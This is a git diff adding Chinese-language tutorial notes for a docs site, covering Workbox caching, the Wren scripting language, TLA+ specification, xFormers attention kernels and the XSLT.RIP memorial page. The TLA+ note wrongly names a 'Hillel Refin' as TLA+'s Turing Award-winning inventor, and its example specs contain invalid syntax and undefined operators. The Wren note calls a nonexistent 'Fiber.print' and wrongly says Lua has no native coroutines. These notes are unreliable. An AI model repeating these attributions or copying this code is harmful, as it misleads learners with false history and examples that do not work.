+1. **Chrome DevTools → Application → Service Workers**：看当前 SW 状态（activated / waiting）、手动 skipWaiting、Unregister。
+2. **Cache Storage**：核对 precache 与 runtime 缓存名是否如预期。
+3. **Workbox 开发日志**：`self.__WB_DISABLE_DEV_LOGS = true` 可关；开发时保留日志能快速看出哪条 `registerRoute` 命中。
+4. **「改了代码用户还是旧版」**：检查是否 `skipWaiting` + `clientsClaim`，或是否忘了用 `workbox-window` 引导刷新。
+5. **配额超限**：配合 `workbox-expiration` 与 [Storage quota](https://developer.chrome.com/docs/workbox/how-to/storage-quota) 文档，避免 Cache Storage 被撑满。
+
+## 常见误区
+
+| 误区 | 事实 |
+|------|------|
+| Workbox = PWA 全部 | PWA 还包括 manifest、HTTPS、可安装性等；Workbox 主要管 **缓存与 SW** |
+| precache 越多越好 | 安装阶段下载过多会拖慢**首次**访问 SW 安装时间 |
+| 本地开发也要上 SW | 建议仅 production 注册，或用 `cacheId` 区分环境，否则 HMR 与缓存打架 |
+| NetworkFirst 保证最新 | 有缓存时失败才用缓存；要强制新鲜请 NetworkOnly 或加 `cache: 'no-store'` |
+| 只缓存 GET | Service Worker 默认只拦截 GET；POST 需 Background Sync 等额外方案 |
+
+## 学习路径建议
+
+1. 先读 MDN [Service Worker 生命周期](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers)，建立「代理」心智模型。
+2. 用 **GenerateSW** 在小型 Vite/React 项目里打开 PWA，观察 Application 面板里的 precache 列表。
+3. 改为 **InjectManifest**，亲手写 `registerRoute`，故意调换与 `precacheAndRoute` 的顺序，看匹配差异。
+4. 读官方 [Caching strategies](https://developer.chrome.com/docs/workbox/caching-strategies-overview) 与 [Precaching dos and don'ts](https://developer.chrome.com/docs/workbox/precaching-dos-and-donts)。
+5. 需要离线表单提交时，再深入 `workbox-background-sync`。
+
+## 与其他技术的关系
+
+- **原生 Cache API**：Workbox 底层仍用 `caches.open()`；Workbox 提供路由、策略、清理、manifest 注入。
+- **[[webpack]] / [[vite]]**：构建阶段生成 `__WB_MANIFEST`，与 Workbox 运行时库配合。
+- **HTTP 缓存**：Service Worker 缓存是**另一层**，优先级高于浏览器 HTTP 缓存；部署策略需同时考虑 `Cache-Control` 与 SW。
+- **[[nginx]] / CDN**：静态资源 hash 文件名 + CDN 长缓存 + SW precache 是常见「三层加速」组合。
+
+## 小结
+
+Workbox 把 Service Worker 里最易出错的三件事——**安装时预缓存、请求路由、策略选择**——收成可组合的模块和构建插件。零基础上手路径：**GenerateSW 跑通 → DevTools 看懂缓存 → InjectManifest 写自定义路由 → workbox-window 处理更新**。掌握之后，你就能在弱网场景下仍交付「像原生 App 一样能打开」的 Web 体验，而不必从零维护几百行 `fetch` 代理逻辑。
diff --git a/src/content/docs/projects/wren.md b/src/content/docs/projects/wren.md
new file mode 100644
index 000000000..642a339e5
--- /dev/null
+++ b/src/content/docs/projects/wren.md
@@ -0,0 +1,308 @@
+---
+title: Wren — Bob Nystrom 的小型类语言
+来源: https://github.com/wren-lang/wren
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Wren — 一只小巧的鸟，一个精巧的语言
+
+## 1. 这是什么？
+
+想象你手边有三个老朋友：
+
+- Smalltalk 告诉你"万物皆对象"
+- Lua 告诉你"小而美也可以很强"
+- Erlang 告诉你"并发应该很轻"
+
+Wren 把这三者的灵感揉在一起，用你熟悉的类 JavaScript 语法包起来，就诞生了一个既小又快的类-based 脚本语言。
+
+它的作者 Bob Nystrom 是个老练的语言设计者——他还写了《Crafting Interpreters》（也是《Game Programming Patterns》的作者）。Wren 的虚拟机实现代码不到 4000 个分号，一个下午就能 skim 完。
+
+**一句话定位**：一个嵌入型脚本语言，设计用来被其他应用程序（如游戏引擎、工具链）内嵌使用。
+
+## 2. 核心价值主张
+
+| 特性 | 说明 |
+|------|------|
+| 小巧 | VM 不到 4000 行代码（以分号计），可读性极高 |
+| 快速 | 单遍编译到紧凑字节码，性能与主流动态语言竞争 |
+| 类为基础 | 对象模型摆在第一位，不像 Lua 那样特殊 |
+| 并发 | 轻量 Fiber（协程），核心执行模型，不是事后补丁 |
+| 嵌入友好 | 零依赖 C99 编译，C API 简单 |
+
+## 3. 核心概念拆解
+
+### 3.1 一切都是对象
+
+在 Wren 里，**每个值都是对象**。连 `true` 和 `false` 都是 `Bool` 类的实例，数字是 `Num` 类的实例，字符串是 `String` 类的实例。没有"原始类型"这个概念。
+
+### 3.2 变量与类型
+
+```
+var x = 10
+var name = "Wren"
+var nothing = null
+```
+
+Wren 是动态类型语言——变量没有类型，值有类型。用 `var` 声明变量，赋值时确定值的类型。
+
+### 3.3 类与对象
+
+Wren 的类系统是你最熟悉的样子，和 Ruby/Python 类似：
+
+```wren
+class Animal {
+  construct new(name) {
+    _name = name
+  }
+
+  greet() {
+    System.print("Hi, I'm %(this._name)")
+  }
+}
+
+var cat = Animal.new("Whiskers")
+cat.greet() //> Hi, I'm Whiskers
+```
+
+几个要点：
+- `construct new(...)` 定义构造函数
+- 字段以 `_` 开头，默认是私有的（封装）
+- `this` 指当前实例
+- 所有构造函数都必须显式声明，没有隐式默认构造
+
+### 3.4 方法重载（按参数数量）
+
+Wren 的方法重载不靠默认参数，而是靠不同的"元数"（arity）：
+
+```wren
+class Greeter {
+  hello() {
+    System.print("Hello!")
+  }
+
+  hello(name) {
+    System.print("Hello, %(name)!")
+  }
+
+  hello(first, last) {
+    System.print("Hello, %(first) %(last)!")
+  }
+}
+```
+
+三个 `hello` 是不同的方法——参数数量不同。
+
+### 3.5 继承与 super
+
+```wren
+class Bird is Animal {
+  construct new(name) {
+    super(name)
+  }
+
+  fly() {
+    System.print("%(_name) spreads its wings!")
+  }
+}
+
+var eagle = Bird.new("Eagle Eye")
+eagle.greet() //> Hi, I'm Eagle Eye
+eagle.fly()   //> Eagle Eye spreads its wings!
+```
+
+- `is` 关键字声明父类
+- `super(...)` 调用父类构造函数
+- 默认所有类继承自 `Object`
+
+### 3.6 Fiber 并发
+
+这是 Wren 最独特的卖点。Fiber 不是 OS 线程，而是用户态协程——极其轻量，一个游戏里可以有几千个 Fiber 跑各自的实体。
+
+```wren
+var counter = Fiber.new {
+  for (i in 1..5) {
+    Fiber.yield(i)
+  }
+}
+
+while (!counter.isDone) {
+  System.print(counter.call())
+}
+```
+
+输出：`1 2 3 4 5`（各一行）
+
+- `Fiber.new { ... }` 创建一个 fiber
+- `fiber.call()` 启动或恢复执行
+- `Fiber.yield(value)` 挂起并传回值
+- `fiber.isDone` 检查是否结束
+
+## 4. 代码示例
+
+### 示例 1：一个完整的类体系
+
+下面是一个展示类、继承、字段、getter 的完整例子：
+
+```wren
+class Shape {
+  construct new() {
+    _color = "white"
+  }
+
+  color { _color }
+
+  setColor(value) {
+    _color = value
+  }
+
+  area() {
+    Fiber.print("Unknown shape area")
+  }
+}
+
+class Circle is Shape {
+  construct new(radius) {
+    super()
+    _radius = radius
+  }
+
+  area {
+    3.14159 * _radius * _radius
+  }
+}
+
+class Rectangle is Shape {
+  construct new(width, height) {
+    super()
+    _width = width
+    _height = height
+  }
+
+  area { _width * _height }
+}
+
+var c = Circle.new(5)
+c.setColor("red")
+System.print("Circle color: %(c.color)")
+System.print("Circle area: %(c.area)")
+
+var r = Rectangle.new(4, 6)
+System.print("Rectangle area: %(r.area)")
+```
+
+输出：
+```
+Circle color: red
+Circle area: 78.53975
+Rectangle area: 24
+```
+
+关键点：
+- `area` 是一个 getter（没有括号）
+- 字段 `_` 开头，通过 getter 对外暴露
+- `is` 实现继承，`super()` 调用父构造
+
+### 示例 2：Fiber 并发 + 值传递
+
+这是一个更复杂的 Fiber 协作示例：
+
+```wren
+// 生产者 fiber：依次产出 1 到 5
+var producer = Fiber.new {
+  for (i in 1..5) {
+    var message = Fiber.yield("item %(i)")
+    if (message == "stop") break
+  }
+  System.print("Producer done")
+}
+
+// 消费者：依次消费，直到收到 stop
+var received = []
+while (!producer.isDone) {
+  var item = producer.call()
+  System.print("Got: %(item)")
+  received.add(item)
+  if (received.count >= 4) {
+    producer.call("stop")
+  }
+}
+
+System.print("Received: %(received.join(", "))")
+```
+
+输出：
+```
+Got: item 1
+Got: item 2
+Got: item 3
+Got: item 4
+Producer done
+Received: item 1, item 2, item 3, item 4
+```
+
+关键点：
+- `Fiber.yield("item %(i)")` — fiber 产出值给调用者
+- `producer.call("stop")` — 调用者传入值，成为 yield 的返回值
+- 这是一个"双向通道"：fiber 和调用者可以互相传数据
+
+## 5. 其他值得注意的特性
+
+### 字符串插值
+
+Wren 用 `%(表达式)` 做插值，类似 Python f-string：
+
+```wren
+var name = "Wren"
+var version = 0.4
+System.print("%(name) v%(version)") //> Wren v0.4
+```
+
+### 列表和范围
+
+```wren
+var fruits = ["apple", "banana", "cherry"]
+var nums = 1..5        // 1, 2, 3, 4, 5
+var half = 1...5       // 1, 2, 3, 4（不含 5）
+
+nums.each {|n| System.print(n) }
+```
+
+### 错误处理
+
+Wren 用 Fiber 来做错误处理（不是 try/catch）——当一个 fiber 出错了，错误会沿着 fiber 调用链冒泡回去。这是一种把错误处理嵌入并发模型的设计选择。
+
+## 6. Wren 适合谁？
+
+- **想做嵌入式脚本语言的人**：Wren 就是你的模板。零依赖、几 KB 的 VM、C API 简洁。
+- **想理解语言设计的人**：4000 行分号的代码，比大部分框架的源码都好读。
+- **游戏开发者**：轻量 Fiber 天然适合游戏实体，每颗子弹、每个 NPC 都能有自己的 fiber。
+- **语言爱好者**：Bob Nystrom 的语言设计哲学值得学习。
+
+## 7. 和 Ruby、Lua 的简单对比
+
+| 特性 | Wren | Ruby | Lua |
+|------|------|------|-----|
+| 面向对象 | 类为基础 | 类为基础 | 原型（prototype） |
+| 并发模型 | Fiber（协程） | Thread/GVL | 无原生协程 |
+| 包大小 | VM ~4000 分号 | 数 MB | ~300KB C 代码 |
+| 默认封装 | 字段私有 | 无 | 模块级 |
+| 错误处理 | Fiber 冒泡 | Exception | pcall |
+| 嵌入 | 设计目标 | 非主要目标 | 设计目标 |
+
+## 8. 学习资源
+
+- 官方文档：https://wren.io/
+- 在线尝试：https://wren.io/try/
+- GitHub：https://github.com/wren-lang/wren
+- 作者博客：http://journal.stuffwithstuff.com/
+- Discord 社区：https://discord.gg/Kx6PxSX
+
+## 9. 总结
+
+Wren 证明了"小而精"不是空话——一个 4000 分号的语言可以同时做到类为基础、支持并发、性能可观、易于嵌入。如果你正在学习语言设计，或者需要为某个项目找一个嵌入脚本语言，Wren 值得深入研究。
+
+它的核心设计哲学可以归结为一句话：**把简单的事做简单，把复杂的事做优雅**——简单类型通过类来组织，并发通过轻量 fiber 来实现，错误通过 fiber 链冒泡来处理。每一个选择都服务于"嵌入友好"这个终极目标。
diff --git a/src/content/docs/projects/writing-tla-after-decade.md b/src/content/docs/projects/writing-tla-after-decade.md
new file mode 100644
index 000000000..599ca04fd
--- /dev/null
+++ b/src/content/docs/projects/writing-tla-after-decade.md
@@ -0,0 +1,251 @@
+---
+title: Writing TLA+ After a Decade in Industry
+来源: https://surfingcomplexity.blog/2026/05/tla-decade.html
+日期: 2026-06-13
+分类: 分布式系统
+子分类: 共识与复制
+provenance: pipeline-v3
+---
+
+# 写作 TLA+：十年行业实践之后的学习笔记
+
+> 本文是阅读 Lorin Hochstein 在 [Surfing Complexity](https://surfingcomplexity.blog) 博客发表的 "Writing TLA+ After a Decade in Industry" 一文后的学习笔记。
+
+---
+
+## 一、从日常类比开始
+
+想象你要建一座桥。工程师会先画设计图、做应力分析，然后才动工。但大多数软件工程师的做法是：直接开始写代码，等出了问题再修。TLA+ 的做法就像是——在动工之前，先用积木把整座桥搭一遍。如果积木倒下了，说明设计有问题，而你只需要花几分钟重新搭，而不是花几百万拆掉重建。
+
+TLA+（Temporal Logic of Actions）是由图灵奖得主 Hillel Refin 发明的形式化规范语言。它的核心理念不是"写代码来让系统运行"，而是"写规格来让系统行为可被推理"。
+
+---
+
+## 二、核心概念
+
+### 1. 规格（Specification）与模型（Model）
+
+在 TLA+ 中，你写的不是代码，而是**规格**——一段描述"系统应该做什么"的文字。然后你用工具（TLA+ 的 TLC 模型检查器）来自动验证：这个规格在有限种可能的执行路径下，是否总是满足你提出的**性质（properties）**。
+
+日常类比：规格就像餐厅的菜单描述——"牛排应七分熟"。模型检查就像厨师先拿一小块肉试煎，验证"七分熟"这个要求能否达成。
+
+### 2. 状态（State）与状态转换（Transition）
+
+一个 TLA+ 模型由一组状态和一组状态转换组成：
+
+- **状态**：系统在某个时刻的全局快照（例如："缓冲区中有 3 个项目，消费者正在等待"）
+- **转换**：系统从当前状态变到下一个状态的动作（例如："生产者向缓冲区加入一个项目"）
+
+TLA+ 的关键洞察：**并发 bug 本质上是状态转换的组合爆炸**。人类大脑一次只能跟踪几件事，而并发系统可能有几十个线程在同时运行。TLC 检查器可以自动遍历所有可达状态，找到那些人类容易遗漏的极端路径。
+
+### 3. 不变量（Invariant）
+
+不变量是你希望始终为真的条件。例如：
+
+- 缓冲区的大小永远不会超过它的容量
+- 账户 A 和账户 B 的总金额在任何时候都保持不变
+
+如果 TLC 在搜索过程中发现了一个违反不变量的状态序列，它会给出一个**反例追踪（counterexample trace）**——一条从初始状态到违规状态的具体执行路径。
+
+---
+
+## 三、代码示例
+
+### 示例 1：生产者-消费者模型
+
+这是最经典的并发模型之一。让我们用一个简单的 TLA+ 规格来描述它：
+
+```tla+
+---- MODULE ProducerConsumer ----
+EXTENDS Integers, Sequences
+
+(* 常量：缓冲区容量 *)
+CONSTANT BufferSize
+
+(* 状态变量：缓冲区内容和两个指针 *)
+VARIABLES buffer, head, tail
+
+(* 初始状态：缓冲区为空 *)
+Init == buffer = <<>> /\ head = 0 /\ tail = 0
+
+(* 生产者行动：向缓冲区添加一个元素 *)
+ProducerAction ==
+    /\ head - tail < BufferSize       (* 缓冲区未满 *)
+    /\ buffer' = BufferAppend(buffer, 1)
+    /\ head' = head + 1
+    /\ UNCHANGED <<tail>>
+
+(* 消费者行动：从缓冲区取出一个元素 *)
+ConsumerAction ==
+    /\ head - tail > 0                (* 缓冲区非空 *)
+    /\ buffer' = Tail(buffer)
+    /\ tail' = tail + 1
+    /\ head' = head
+
+(* 任一行动可以发生 *)
+Next == ProducerAction \/ ConsumerAction
+
+(* 规格：初始状态 + 所有可能的状态转换 *)
+Spec == Init /\ [][Next]_<<buffer, head, tail>>
+
+(* 性质1：缓冲区永远不会溢出 *)
+NoOverflow == 
+    A \in Ints => [] (head - tail <= BufferSize)
+
+(* 性质2：缓冲区永远不会下溢 *)
+NoUnderflow == 
+    A \in Ints => [] (head - tail >= 0)
+
+(* 性质3：缓冲区的长度永远不会超过容量 *)
+BoundedLength ==
+    [] (Len(buffer) <= BufferSize)
+
+====
+```
+
+**解释：**
+
+- `VARIABLES` 定义了系统的所有可变状态
+- `Init` 描述初始状态
+- `ProducerAction` 和 `ConsumerAction` 描述了两个线程各自能做什么
+- `Next` 表示任一行动都可以发生（这就是并发的核心）
+- `Spec` 将初始状态和所有转换组合成完整规格
+- 最后的 `===` 之后的部分是要验证的性质
+
+### 示例 2：两阶段提交协议
+
+这是分布式系统中更复杂的例子，展示了 TLA+ 在处理真实工业级问题时的能力：
+
+```tla+
+---- MODULE TwoPhaseCommit ----
+EXTENDS Integers, Sequences, FinSets
+
+(* 参与者集合 *)
+CONSTANT Participants
+
+(* 状态变量：每个参与者的状态 *)
+VARIABLES participantState
+
+(* 每个参与者可能的状态 *)
+VoteStates == {"init", "voted_yes", "voted_no", "prepared", "committed", "aborted"}
+
+(* 初始状态：所有参与者都处于初始状态 *)
+Init ==
+    participantState :-> [self \in Participants |-> "init"]
+
+(*  coordinator 发送准备消息 *)
+SendPrepare ==
+    /\ participantState = [self \in Participants |-> "init"]
+    /\ participantState' = [self \in Participants |-> "voted_yes" \EXCEPT 
+                               self = "prepared"]
+
+(* 参与者投票 yes *)
+VoteYes ==
+    /\ participantState[self] = "prepared"
+    /\ participantState'[self] = "voted_yes"
+    /\ participantState' = participantState
+
+(* 参与者投票 no *)
+VoteNo ==
+    /\ participantState[self] = "prepared"
+    /\ participantState'[self] = "voted_no"
+    /\ participantState' = participantState
+
+(* 协调者提交 *)
+Commit ==
+    /\ \A p \in Participants : participantState[p] = "voted_yes"
+    /\ participantState' = [self \in Participants |-> "committed"]
+
+(* 协调者中止 *)
+Abort ==
+    /\ \E p \in Participants : participantState[p] = "voted_no"
+    /\ participantState' = [self \in Participants |-> "aborted"]
+
+(* 下一步行动 *)
+Next ==
+    SendPrepare \/
+    (\E self \in Participants: VoteYes[self]) \/
+    (\E self \in Participants: VoteNo[self]) \/
+    Commit \/ Abort
+
+(* 不变量：所有参与者最终都会到达终端状态 *)
+AllTerminated ==
+    \A p \in Participants : participantState[p] \in {"committed", "aborted"}
+
+(* 不变量：不会出现不一致——不可能有的提交了有的中止了 *)
+NoInconsistent ==
+    \A p, q \in Participants :
+        ~(participantState[p] = "committed" /\ participantState[q] = "aborted")
+
+====
+```
+
+**解释：**
+
+- 这个模型描述了分布式系统中著名的两阶段提交（2PC）协议
+- `participantState` 是一个映射，记录了每个参与者的当前状态
+- `VoteYes` 和 `VoteNo` 中的 `\E self \in Participants` 表示"任意一个参与者"可以同时行动——这正是并发
+- `NoInconsistent` 这个不变量捕捉了 2PC 协议最重要的正确性保证：所有节点要么全部提交，要么全部中止，不会出现分裂
+
+---
+
+## 四、TLA+ 的核心抽象工具
+
+### 1. 消去"实现细节"的干扰
+
+代码中充满了实现细节——变量名、内存地址、调度顺序。这些细节会掩盖真正的并发问题。TLA+ 的规格剥离了所有实现细节，只保留**行为层面的描述**。这让推理变得可行。
+
+### 2. 从粗到细的多层模型
+
+写 TLA+ 时，不要一上来就写完整模型。正确的做法是：
+
+1. **第一层**：写一个极简模型，验证核心逻辑
+2. **第二层**：逐步添加约束和细节
+3. **第三层**：验证与代码的一致性
+
+每一层都是一个独立的 TLC 检查任务。如果底层模型能通过验证，上层模型的问题就会被显著缩小。
+
+### 3. 反例是礼物
+
+当 TLC 找到一个反例时，不要感到沮丧。反例追踪（counterexample trace）告诉你**具体**在哪条执行路径上出了什么问题。这比在代码 review 中花三小时猜哪里有问题高效得多。
+
+---
+
+## 五、TLA+ 的价值总结
+
+| 传统方法 | TLA+ 方法 |
+|---------|----------|
+| 在代码中查找 bug | 在规格中证明 bug 不存在 |
+| 依赖测试覆盖率 | 自动遍历所有可达状态 |
+| 并发问题难以复现 | 反例追踪给出精确复现路径 |
+| 修改代码可能引入新 bug | 修改规格后重新验证 |
+| 团队对系统行为理解不一致 | 规格是唯一的、无歧义的理解 |
+
+---
+
+## 六、学习建议
+
+1. **从 TLA+ 视频课程开始**：Hillel Refin 在 Coursera 上的课程是最佳起点
+2. **先写规格，再写代码**：养成用文字描述系统行为再形式化的习惯
+3. **不要追求完美模型**：第一版模型一定会很粗糙，这没关系
+4. **用 TLC 验证你的直觉**：你觉得"这里不会死锁"——让 TLC 来验证
+5. **阅读别人写好的规格**：Refin 的 [specification gallery](https://specification.org) 有很多高质量例子
+
+---
+
+## 七、关键术语对照表
+
+| 术语 | 英文 | 简单解释 |
+|------|------|---------|
+| 规格 | Specification | 系统应该做什么的描述 |
+| 模型 | Model | 用 TLC 可检查的状态转换系统 |
+| 不变量 | Invariant | 始终为真的条件 |
+| 反例追踪 | Counterexample trace | 违反性质的具体执行路径 |
+| 状态转换 | Transition | 系统从一状态到另一状态的行动 |
+| 模型检查 | Model checking | 自动验证所有可达状态 |
+
+---
+
+## 八、一句话总结
+
+> TLA+ 不是用来写运行的代码的，它是用来在写代码之前，用最小的心智负担，确认你的系统设计在并发和时序上是正确的。
diff --git a/src/content/docs/projects/xformers.md b/src/content/docs/projects/xformers.md
new file mode 100644
index 000000000..bc87ad002
--- /dev/null
+++ b/src/content/docs/projects/xformers.md
@@ -0,0 +1,127 @@
+---
+title: "xFormers 入门笔记 — 让 Transformer 更快更轻的模块化工具库"
+来源: https://github.com/facebookresearch/xformers
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 什么是 xFormers？
+
+想象一下，你搭乐高。PyTorch 本身提供的是基础积木块——正方形、长方形、圆形，你能搭出任何东西，但有些结构（比如一座带弧形穹顶的房子）光靠基础块会很笨重、很慢。
+
+xFormers 就像一套"高级乐高零件"——Facebook（Meta）开源的一个 PyTorch 工具库，专门用来让 Transformer 模型跑得更快、占用更少的显存。它不提供完整的模型，而是提供**可插拔的优化组件**，你可以把它们装进自己的模型里。
+
+核心目标就三个：
+
+1. **更快** — 通过定制的 CUDA 内核，Attention 计算速度提升可达 10 倍
+2. **更省** — 显存占用大幅降低，让你在同等硬件上跑更大的模型
+3. **更灵活** — 每个组件都是独立的，想用哪个用哪个，不强制绑定
+
+## 核心概念
+
+### 1. Memory-Efficient Attention（显存优化的注意力机制）
+
+这是 xFormers 的招牌功能。
+
+普通的 Transformer Attention 计算过程是：给定 Query (Q)、Key (K)、Value (V)，计算 Q 和 K 的点积得到注意力分数，再做 Softmax，最后乘 V。标准做法会创建一个巨大的中间矩阵（形状为 `[batch, heads, seq_len, seq_len]`），当序列很长时，这个矩阵会撑爆显存。
+
+xFormers 的 `memory_efficient_attention` 采用了"分块计算"（tiled / scan-based）策略——**它不一次性算完整个矩阵，而是像读长卷画一样，分小块、逐段计算，把结果直接累加到最终输出上**。这样中间矩阵的峰值显存从 O(n²) 降到了 O(n)，序列长度从几千到几万都不怕。
+
+类比：正常 Attention 像一次性买齐所有食材做满汉全席，厨房堆不下；xFormers 像餐厅后厨，来一个菜做一个，厨房永远够用。
+
+### 2. 算子融合（Operator Fusion）
+
+把多个小操作合并成一个大的 CUDA kernel 执行。比如 LayerNorm + Dropout + 激活函数，本来要三次读取/写入显存，融合后只读写一次。类比：本来要跑三趟超市买三样东西，现在一次把购物车推满。
+
+### 3. 模块化设计（Block Zoo）
+
+xFormers 不强迫你用它的完整模型。每个优化组件（注意力、归一化、激活函数等）都是独立的，你可以像选配菜一样只挑需要的。
+
+## 代码示例
+
+### 示例 1：基础用法 — 替换标准 Attention
+
+假设你已经有了 Q、K、V 三个张量：
+
+```python
+import torch
+import xformers.ops as xops
+
+# 假设 q, k, v 的形状都是 [batch, seq_len, num_heads, head_dim]
+q = torch.randn(2, 128, 8, 64, device="cuda")
+k = torch.randn(2, 128, 8, 64, device="cuda")
+v = torch.randn(2, 128, 8, 64, device="cuda")
+
+# 标准 PyTorch Attention（会创建大中间矩阵，显存占用高）
+# attn = torch.softmax(q @ k.transpose(-2, -1) / sqrt(d), dim=-1) @ v
+
+# 用 xFormers 替换（显存友好，速度更快）
+output = xops.memory_efficient_attention(q, k, v)
+```
+
+关键点：`memory_efficient_attention(q, k, v)` 返回的形状和标准 Attention 完全一样，所以**不需要改模型的其他部分**，直接替换即可。
+
+### 示例 2：带 Attention Mask 的变体
+
+在做因果语言建模（比如 GPT）时，每个 token 只能看到它之前的 token，不能看到后面的。这需要一个下三角的 mask：
+
+```python
+import torch
+import xformers.ops as xops
+from xformers.ops import LowerTriangularMask
+
+# Q, K, V 同上
+mask = LowerTriangularMask()
+
+# 传入 mask 参数，自动处理因果约束
+output = xops.memory_efficient_attention(q, k, v, attn_bias=mask)
+```
+
+`LowerTriangularMask` 是 xFormers 内置的偏置类型之一，还有 `BlockSparseAttentionBias`（用于稀疏注意力）等。你不需要手动构造矩阵，xFormers 会自动处理。
+
+### 示例 3：Dropout + 推理模式
+
+```python
+# 训练时加入 dropout
+output_train = xops.memory_efficient_attention(q, k, v, p=0.1)
+
+# 推理时 p=0 或省略，行为与标准 Attention 一致
+output_infer = xops.memory_efficient_attention(q, k, v)
+```
+
+## 为什么它重要？
+
+| 维度 | 标准 PyTorch Attention | xFormers Memory-Efficient Attention |
+|------|----------------------|-------------------------------------|
+| 显存峰值 | O(n²) | O(n) |
+| 长序列支持 | 几千 token 就爆 | 几万 token 没问题 |
+| 速度 | 基准线 | 最高 10x 加速 |
+| 兼容性 | 原生支持 | 需安装，CUDA 环境 |
+
+在 Stable Diffusion、LLaMA 等热门开源项目中，xFormers 都是默认的加速后端之一。它不改变模型的数学结果——输出和标准 Attention **数值上完全一致**，只是底层计算方法不同。
+
+## 安装
+
+```bash
+# CUDA 12.6（推荐）
+pip install -U xformers --index-url https://download.pytorch.org/whl/cu126
+
+# 验证安装
+python -m xformers.info
+```
+
+安装后会输出当前可用的 kernel 列表，确认 CUDA 驱动和编译是否正常。
+
+## 小结
+
+xFormers 的核心价值一句话总结：**用模块化、可插拔的优化组件，让 Transformer 在同等硬件上跑得更快、更大、更省显存。**
+
+它不改变模型的数学，只改变实现的方式——就像给同样的汽车换了一套更好的引擎。
+
+## 下一步
+
+- 如果想深入了解，推荐阅读 [xFormers 官方文档](https://facebookresearch.github.io/xformers/)
+- 实践中可以先把 `memory_efficient_attention` 替换进你现有的模型，观察显存和速度变化
+- xFormers 还有 fused LayerNorm、fused SwiGLU 等组件，后续可逐一了解
diff --git a/src/content/docs/projects/xslt-rip.md b/src/content/docs/projects/xslt-rip.md
new file mode 100644
index 000000000..9a6c1e7db
--- /dev/null
+++ b/src/content/docs/projects/xslt-rip.md
@@ -0,0 +1,276 @@
+---
+title: XSLT RIP — Google 要杀死一个 Web 标准
+来源: https://xslt.rip/
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+难度: 入门
+provenance: pipeline-v3
+---
+
+## 是什么
+
+XSLT RIP 是一个**纪念页面**——用 XSLT 语言自己写成的。
+
+日常类比：
+
+- 假设你发明了一种语言，写了一辈子文档，结果 Google 说"这个不用了"——你就建了一个墓园页面，点一根蜡烛，说"安息吧"
+- **XSLT RIP 就是 XSLT 的墓碑**，而且墓碑本身是用 XSLT 写的，算是程序员式的黑色幽默
+
+它不是某个产品，不是某个框架。它是一个**信号**：有人在提醒整个社区，一个 Web 标准正在被杀死。
+
+## 为什么重要
+
+不理解 XSLT RIP，你就没法理解下面这几件事：
+
+- **Google 为什么被称为"科技坟场"**——killedbygoogle.com 列了将近 300 个被 Google 砍掉的技术，XSLT 是最新一批
+- **一个 Web 标准被杀意味着什么**——XSLT 是 W3C 标准，写入了 HTML 规范，政府网站在用，结果 Google 一句话就能让它消失
+- **XSLT 本身的讽刺性**——XSLT RIP 这个页面本身就是用 XSLT 渲染的 XML，"用这个语言写一个悼念这个语言的页面"，递归到极点
+
+一句话：**学 XSLT RIP，就是学"Web 标准是怎么死的"这门课。**
+
+## 核心概念
+
+### 1. XSLT 是什么
+
+XSLT（Extensible Stylesheet Language Transformations）是一个**把 XML 变成其他格式的语言**。
+
+类比：
+
+- XML 是你家衣柜里叠好的衣服
+- XSLT 是"叠衣服说明书"——告诉你怎么把衣服从折叠状态展开挂起来
+- 输出可以是 HTML、纯文本、甚至另一个 XML 格式
+
+它最大的应用场景就是 **RSS 订阅**。RSS 文件本质上是 XML，浏览器用 XSLT 把它渲染成你能看的网页。你点一下 RSS 图标就能看到文章列表——背后就是 XSLT 在干活。
+
+### 2. Google 在做什么
+
+2025 年 10 月 24 日，Google 在 Chromium 的开发者邮件列表里发布了一份 **"Intent to Deprecate and Remove: Deprecate and remove XSLT"**，正式宣布要在 2027 年前把 XSLT 从 Chrome 中移除。
+
+这不是突然的决定。早在 **2013 年 7 月**，Google 就第一次尝试杀死 XSLT。十二年后再来一次，这次成功了。
+
+Firefox（Mozilla）和 Safari（Apple）也表态会跟进。这意味着三个主流浏览器将**集体删除**一个 Web 标准。
+
+### 3. XSLT RIP 这个页面本身
+
+这个页面的设计非常巧妙——它不是一个普通的 HTML 文件，而是一个 **XML 文件**，通过 `<?xml-stylesheet?>` 声明让浏览器用 XSLT 模板来渲染它。
+
+```xml
+<!-- 这是 index.xml（你直接看到的是渲染后的 HTML）-->
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/index.xsl" type="text/xsl"?>
+<html>
+  <head>
+    <title>XSLT.RIP</title>
+  </head>
+  <body>
+    <h1>If you're reading this, XSLT was killed by Google.</h1>
+    <p>Thoughts and prayers.</p>
+    <p>Rest in peace.</p>
+  </body>
+</html>
+```
+
+然后浏览器会去找 `index.xsl`，这个文件才是真正"说人话"的部分：
+
+```xml
+<!-- index.xsl —— XSLT 模板文件 -->
+<?xml version="1.0" encoding="utf-8"?>
+<xsl:stylesheet version="3.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="html" version="1.0" encoding="utf-8" indent="yes"/>
+  <xsl:template match="/">
+    <html xmlns="http://www.w3.org/1999/xhtml">
+      <head>
+        <meta charset="utf-8" />
+        <meta name="viewport" content="width=device-width, initial-scale=1" />
+        <link rel="stylesheet" href="main.css" />
+        <title>XSLT.RIP - Google are killing XSLT!</title>
+      </head>
+      <body>
+        <h1>
+          <img alt="candle" src="/images/candle.gif" />
+          XSLT.RIP
+          <img alt="candle" src="/images/candle.gif" />
+        </h1>
+        <h2>
+          <img alt="grim reaper" src="/images/reaper.gif" />
+          Google are <em>killing XSLT!</em>
+          <img alt="warning sign" src="/images/danger.gif" />
+        </h2>
+        <p class="intro">
+          <strong>October 24th 2025:</strong>
+          Google published the death note.
+          Google will kill XSLT by 2027.
+        </p>
+      </body>
+    </html>
+  </xsl:template>
+</xsl:stylesheet>
+```
+
+关键点：
+
+- `<xsl:stylesheet>` 声明了这是一个 XSLT 样式表
+- `<xsl:template match="/">` 匹配 XML 的根节点，也就是整篇文档
+- `<xsl:output method="html">` 告诉浏览器"输出格式是 HTML"，不是 XML
+
